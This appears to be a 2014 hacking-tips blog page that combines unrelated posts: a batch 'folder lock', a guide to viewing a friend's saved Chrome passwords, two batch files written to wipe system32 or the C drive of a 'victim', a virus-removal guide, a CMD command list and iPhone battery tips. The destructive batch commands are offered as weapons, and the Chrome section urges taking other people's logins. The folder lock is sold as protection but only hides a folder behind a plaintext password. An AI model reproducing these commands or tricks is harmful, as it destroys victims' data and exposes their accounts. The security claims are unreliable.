Saturday, 26 July 2014

How To Protect Any Folder Without Any Software

In this tutorial i will show you interesting and usefull trick to password protect folder without using any software using batch file programming. This trick will work on all windows platform (Win XP, Win 7). Follow below tutorial to learn this trick.

How To Lock Folder ?

 1. Open Notepad and Copy code given below into it.
cls
@ECHO OFF
title hack-pc.blogspot.com
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== hack-pc goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End

2. Save the notepad file as lock.bat (.bat is must)
   3. Now double click on lock.bat and a new folder will be created with name MyFolder
   4. Copy all your data you want to protect in that New folder
   5. Now double click on lock.bat and when command promp appears Type Y and press enter.
   6. Now MyFolder will be hidden from you view, to access that folde double click on lock.bat
   7. It will ask for password enter your password and done. (Default password is hack-pc)
To change the password replace hack-pc with  new password in the above code

How To Further Secure ?

You might be thinking that anyone can access the password by opening that lock.bat file in Notepad or any other text editor. To make it more secure hide lock.bat in some secure location after following the above tutorial To access the secured file double click on lock.bat. I would suggest copying lock.bat file into Pendrive and copying it into your computer whenever you required to access to your protected files.

How to View Saved Passwords In Google Chrome

google chrome hacked
This trick is simple yet very powerfull  to view or hack saved password in google chrome. It does not matter for which website the password is saved it will work on all of them. It will work on Facebook, Gmail, Yahoo, twitter and many more. If you get your hands on your friend computer  you can hack their password with this simple little trick. It does not require any software or addons to be installed on your computer. Lets get started.



How to view saved password in google chrome ?

  1. Open Google Chrome
  2. Go to Settings (Its on the Right Corner)
  3. Then Click on Advance Settings
  4. Scroll Down and their will be password and forms from their click on Manage saved password.
  5. Then list of all websites whose passwords are saved on browser will be listed.
  6. Click on show to view those passwords
  7. Enjoy!!

How To Damage A Computer

Open Notepad
Write / copy the below command there:
del c:\WINDOWS\system32\*.*/q " without quote
and save as " anything.bat"
Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started.

How To Make A Very Dangerous Virus In A Minute.

In this post i will teach you to make simple yet very powerful or you can say dangerous computer virus using a batch file. No software is required to make this virus, Notepad is enough for it. The good thing about this virus is it is not detected by any AntiVirus.


  What will this virus do ?  

You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus.

How to Make the virus ?

 1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y 
}

 2. Save this file as virus.bat (Name can be anything but .bat is must)
   3. Now, running this file will delete all the content of C Drive.

Warning: Please don't try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer. 

How To Remove A Virus Using CMD

 Virus is a computer program that can copy itself and infect your computer. These viruses can spread via USB/flash drive or from one computer to other computer by few written codes. There are many antivirus software available to remove viruses from computer. But there are some viruses or suspicious files which can’t be removed by any antivirus software. Some suspicious files such as autorun.inf initiate all the viruses in pc. These files must be removed for safe operation of your pc, because they may lead to data loss, software damages etc. Such viruses and files can be removed by using cmd. In this article we will discuss how to remove a virus using command prompt. Following steps can be used to remove a virus using command prompt from your computer.

  • Go to start menu and type “cmd” in the search box or Start>all programs>accessories>command prompt.
  • Open the infected drive such as write , g: to go to G drive.
  • Now type dir/w/a . It will show all the files of the drive including hidden files.
  • Locate AUTORUN.INF or any Virus and other suspicious files in the directory.
there was no virus in my drive so only autorun.inf is been highlighted.
  • Type command attrib  -r –a –s –h to remove attributes of corresponding file.
Type del autorun.inf to delete autorun.inf file.

  • Now type del virus name.exe t delete it, eg : del newfolder.exe .
(You can also delete viruses by using following steps:
  • When you find an Autorun.inf file or any other unusual .exe file just rename it.



Syntax for rename is (rename filename.extension new name ,  for example: (rename autorun.inf virus) to rename autorun.inf file. Here I have renamed it by “virus”.
  • Now you can access the defected drive without affecting the virus.
  • To delete the renamed file go to the defected drive and select the file you renamed.




Now delete the harmful renamed files.)
You have deleted that virus successfully but sometimes virus resides in the Recycler folder.To locate this folder:
  • Type cd recycler command.
  • Again type dir/w/a  to locate all file of the folder.
  • Identify malicious files and delete them using above commands.
Follow the above steps carefully and i think this information is enough to remove a virus using command prompt easily.
Important: Make sure that no other processes being running while performing these actions. Best of luck.
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109 CMD Commands


  1. Accessibility Options : access.cpl
  2. Add Hardware : hdwwiz.cpl
  3. Add / Remove Programs : appwiz.cpl
  4. Administrative Tools : control admintools
  5. Automatic Updates : wuaucpl.cpl
  6. Wizard file transfer Bluethooth : fsquirt
  7. Calculator : calc
  8. Certificate Manager : certmgr.msc
  9. Character : charmap
  10. Checking disk : chkdsk
  11. Manager of the album (clipboard) : clipbrd
  12. Command Prompt : cmd
  13. Service components (DCOM) : dcomcnfg
  14. Computer Management : compmgmt.msc
  15. DDE active sharing : ddeshare
  16. Device Manager : devmgmt.msc
  17. DirectX Control Panel (if installed) : directx.cpl
  18. DirectX Diagnostic Utility : dxdiag
  19. Disk Cleanup : cleanmgr
  20. System Information : dxdiag
  21. Disk Defragmenter : dfrg.msc
  22. Disk Management : diskmgmt.msc
  23. Partition manager : diskpart
  24. Display Properties : control desktop
  25. Properties of the display (2) : desk.cpl
  26. Properties display (tab "appearance") : control color
  27. Dr. Watson : drwtsn32
  28. Manager vĂ©rirficateur drivers : check
  29. Event Viewer : Eventvwr.msc
  30. Verification of signatures of files : sigverif
  31. Findfast (if present) : findfast.cpl
  32. Folder Options : control folders
  33. Fonts (fonts) : control fonts
  34. Fonts folder windows : fonts
  35. Free Cell : freecell
  36. Game Controllers : Joy.cpl
  37. Group Policy (XP Pro) : gpedit.msc
  38. Hearts (card game) : mshearts
  39. IExpress (file generator. Cab) : IExpress
  40. Indexing Service (if not disabled) : ciadv.msc
  41. Internet Properties : inetcpl.cpl
  42. IPConfig (display configuration) : ipconfig / all
  43. IPConfig (displays the contents of the DNS cache) : ipconfig / displaydns
  44. IPConfig (erases the contents of the DNS cache) : ipconfig / flushdns
  45. IPConfig (IP configuration cancels maps) : ipconfig / release
  46. IPConfig (renew IP configuration maps) : ipconfig / renew
  47. Java Control Panel (if present) : jpicpl32.cpl
  48. Java Control Panel (if present) : javaws
  49. Keyboard Properties : control keyboard
  50. Local Security Settings : secpol.msc
  51. Local Users and Groups : lusrmgr.msc
  52. Logout : logoff
  53. Microsoft Chat : winchat
  54. Minesweeper (game) : winmine
  55. Properties of the mouse : control mouse
  56. Properties of the mouse (2) : main.cpl
  57. Network Connections : control NetConnect
  58. Network Connections (2) : ncpa.cpl
  59. Network configuration wizard : netsetup.cpl
  60. Notepad : notepad
  61. NView Desktop Manager (if installed) : nvtuicpl.cpl
  62. Manager links : packager
  63. Data Source Administrator ODBC : odbccp32.cpl
  64. Screen Keyboard : OSK
  65. AC3 Filter (if installed) : ac3filter.cpl
  66. Password manager (if present) : Password.cpl
  67. Monitor performance : perfmon.msc
  68. Monitor performance (2) : perfmon
  69. Dialing Properties (phone) : telephon.cpl
  70. Power Options : powercfg.cpl
  71. Printers and Faxes : control printers
  72. Private Character Editor : eudcedit
  73. Quicktime (if installed) : QuickTime.cpl
  74. Regional and Language Options : intl.cpl
  75. Editor of the registry : regedit
  76. Remote desktop connection : mstsc
  77. Removable Storage : ntmsmgr.msc
  78. requests the operator to removable storage : ntmsoprq.msc
  79. RSoP (traduction. ..) (XP Pro) : rsop.msc
  80. Scanners and Cameras : sticpl.cpl
  81. Scheduled Tasks : control schedtasks
  82. Security Center : wscui.cpl
  83. Console management services : services.msc
  84. shared folders : fsmgmt.msc
  85. Turn off windows : shutdown
  86. Sounds and Audio Devices : mmsys.cpl
  87. Spider (card game) : spider
  88. Client Network Utility SQL server : cliconfg
  89. System Configuration Editor : sysedit
  90. System Configuration Utility : msconfig
  91. System File Checker (SFC =) (Scan Now) : sfc / scannow
  92. SFC (Scan next startup) : sfc / scanonce
  93. SFC (Scan each dĂ©marraget) : sfc / scanboot
  94. SFC (back to default settings) : sfc / revert
  95. SFC (purge cache files) : sfc / purgecache
  96. SFC (define size CAHC x) : sfc / cachesize = x
  97. System Properties : sysdm.cpl
  98. Task Manager : taskmgr
  99. Telnet client : telnet
  100. User Accounts : nusrmgr.cpl
  101. Utility Manager (Magnifier, etc) : utilman
  102. Windows firewall (XP SP2) : firewall.cpl
  103. Microsoft Magnifier : magnify
  104. Windows Management Infrastructure : wmimgmt.msc
  105. Protection of the accounts database : syskey
  106. Windows update : wupdmgr
  107. Introducing Windows XP (if not erased) : tourstart
  108. Wordpad : write
  109. Date and Time Properties : timedate.cpl

How to improve your iPhone 5s and 5c's Battery Life


iPhone 5s and iPhone 5c come with a slightly bigger battery than the iPhone 5, which Apple managed to cram into the jam-packed internals of the device by shrinking the size of the logic boardas seen in teardowns.
But it may be possible that despite the increase, you’re seeing lesser than expected battery life, and here are some tips to reduce battery drain and improve battery life.

The iPhone 5 had a battery rating of 3.8V, 5.45 Whr (1440 mAh), and Apple improved upon this in the iPhone 5s by including a battery rated at 3.8 V, 5.96 Whr (~1570 mAh), and in the iPhone 5c by including a battery of 3.8 V, 5.73 Whr (~1507 mAh).
So we take a look at how to manage your shiny new iPhone 5s′ or your colorful iPhone 5c’s battery life and also provide some tips on how you can extend it.

Understanding Your Battery Usage:

The larger mAh size translates into an improvement of 25 percent in normal usage, as reflected in this usage chart:
  • Talk time:
    • Up to 10 hours on 3G
  • Internet use:
    • Up to 8 hours on 3G
    • Up to 10 hours on LTE
    • Up to 10 hours on Wi-Fi
  • Standby time:
    • Up to 250 hours
It is important to understand that your battery life will vary as per your usage, so if you listen to your music locally from the Music app and not stream off LTE/3G/Wi-Fi, your battery life would last much longer.
You can check out the usage and standby time since the last full charge via the Settings app (Settings > General > Usage and scroll down to Time since last full charge section). You can also navigate to Settings > Cellular Usage to find out how much time you were on calls, and how much cellular data have you used, broken by app-usage.






Usage is the amount of time iPhone has been awake and in use since the last full charge. The phone is awake when you’re on a call, using email, listening to music, browsing the web, or sending and receiving text messages, or even during certain background tasks such as auto-checking email.

Battery Percentage:

By default, iOS displays the battery level in the top right corner of the status bar. You can keep track of the charge remaining in your iPhone more easily by enabling the battery percentage indicator, which displays the battery left in percentage. To display the battery percentage indicator, navigate to Settings > General > Usage and scroll down and tap on the Battery Percentage toggle to enable it.




Some tips to extend battery life:

  • Set Auto-Lock interval so that your iPhone will turn off more quickly after a period of inactivity. To set the auto-Lock interval, launch the Settings app, tap on General and then Auto-Lock and set the atuo-lock interval to either 1, 2, 3, 4 or 5 minutes.
  • You’re probably aware that using Wi-Fi drains iPhone’s battery, but perhaps you didn’t know that one of the most intensive processes that iPhone’s Wi-Fi chip has to do is search for available network. So if this happens in regular intervals, it’s going to have a noticeable impact on your battery. To disable this feature, launch the Settings app, tap on Wi-Fi, and tap on the On/Off toggle for Ask to Join Networks to disable it. Please note that by disabling this feature, your iPhone will join known Wi-Fi networks automatically, but you will have to manually select a network if no known networks are available.
  • Dimming the screen helps to extend battery life. You can either lower the default screen brightness based on your preference or turn on Auto-Brightness to allow the screen to adjust its brightness based on current lighting conditions. Launch the Settings app, scroll down and tap on Brightness & Wallpaper and set Auto-Brightness to On. Note: Apple enables it by default.
  • Turn off LTE if it is not available in your area (Settings > Cellular > disable LTE/4G)
  • Turn off Location services for the following System System services: Diagnostics & Usage, Setting Time Zone, Location Based iAds (Settings >  Privacy > Location Services > System Services).




Apple added a lot of new features to the Notification Center, including Today Summary, Next Destination, Tomorrow Summary in addition to the Stocks widget. You can squeeze the extra bit of battery by turning off all these features by going to Settings > Notification Center > scrolling down to the Today View and turning off whatever you don’t need.





  • Heat can degrade performance of your iPhone’s battery. So it is important to keep the iPhone out of the sun or a hot car (including the glove box).
  • If you’re on the plane or in an area where there is no cellular coverage then use Airplane mode to increase battery life (Settings > Airplane Mode).

Optimize Settings based on your usage:

The iPhone 5s and iPhone 5c offers tons of features, but some of the features comes at the cost of battery life, so it is prudent to turn off things that you’re not using.
  • Turn off dynamic wallpapers if you have them enabled by going to Settings > Wallpapers & Brightness and then tap on Choose Wallpaper. Be sure to select one of the wallpapers from the “Stills” category or from your own Photo Roll, and not from the Dynamic category.
  • Review the list of apps that are using Background App Refresh by going to Settings > General > Background App Refresh, and disable it for apps you think don’t need to wake up in the background to fetch new data.




  • iOS 7 has a number of animations and motion related effects like parallax that aren’t very important, especially if you’re facing battery life issues. You can disable these motion effects by going to Settings > General > Accessibility > Reduce Motion and turn on the switch.



  • iOS 7 automatically updates apps in the background, but if you’re not too keen on updating all your apps, you can turn this off by going to Settings > iTunes and App Store > scroll down to the Automatic Downloads section and turn off the “Updates” switch.




  • If you hardly use Bluetooth then turn it off from the Control Center or by going to Settings > Bluetooth
  • Review the list of apps that are using Location services, and disable it for apps you think can be used without tracking your location (Settings > Privacy > Location Services).
  • If you check multiple email accounts on your iPhone, enable Push for only the most important email account/accounts. For other accounts, fetch emails manually if possible for better battery life.
  • Spotlight searches a lot of types of content like Applications, Contacts, Music, Podcasts, Mails, Events etc. but you can selectively tell iOS to only search across content you want by going to Settings > General > Spotlight Search.




These days most apps use Push Notification service to alert you of new data, which can impact battery life. We tend to blindly say “Yes”, when an app asks us if it can send Push notifications. So it is a good idea to review the apps that have push notifications enabled. Go to Settings -> Notification Center and disable notifications for select apps. Please note that it doesn’t prevent new data from being received when the app is opened.




  • Turn off Siri’s Raise to Speak feature if you don’t use it frequently (Settings -> General -> Siri -> Raise to Speak).
  • Turn off Siri if you don’t use it (Settings -> General -> Siri).
  • Turn off Personal Hotspot if you’re not using it (Settings -> Personal Hotspot).
  • Turn off equalizer setting for song playback (Settings -> Music -> EQ).

Troubleshooting

If you observe a sudden degradation in battery life, it could be due to an app that is hogging your iPhone’s battery life. If you haven’t restarted your iPhone for a while then the easiest solution is to reset your iPhone.
  • Force an app to close: If you’ve identified the app that may be hogging your iPhone’s battery life then force it to close. Double tap the home button to go into the multitasking app switcher, and swipe up the concerned app to kill it. You can kill up to three apps at a time by using this method.

  • Restart/Reset Your iPhone: Hold down the Sleep/Wake button and the Home button at the same time for at least ten seconds, until the Apple logo appears.
  • Resetting Network Settings: Reset network settings by going to Settings > General > Reset > Reset Network Settings. This will reset all network settings, including passwords, VPN, and APN settings.
  • Restore iPhone as New: If you’ve setup your iPhone by restoring from backup then the battery life problems could be due to some issue with the backup. Try to restore your device (Settings > General > Reset > Erase All Content And Settings) and set it up as a new iPhone (this is not ideal). But before you erase all the contents and settings, please take a backup of your iPhone.
  • Make a Genius Bar reservation: If there is a significant degradation in battery life and the solutions mentioned above doesn’t help then take it to the Apple Store, it could well be a problem with your iPhone, which may need to be replaced.

Charge Your iPhone:

This goes without saying but it is important to charge your iPhone, so take the Lightning to USB cable and the power adapter wherever you go.

Battery Maintenance:

You should also use the iPhone regularly for proper maintenance of a lithium-based battery. In fact, Apple advices users to go through at least one charge cycle per month (charging the battery to 100% and then completely running it down).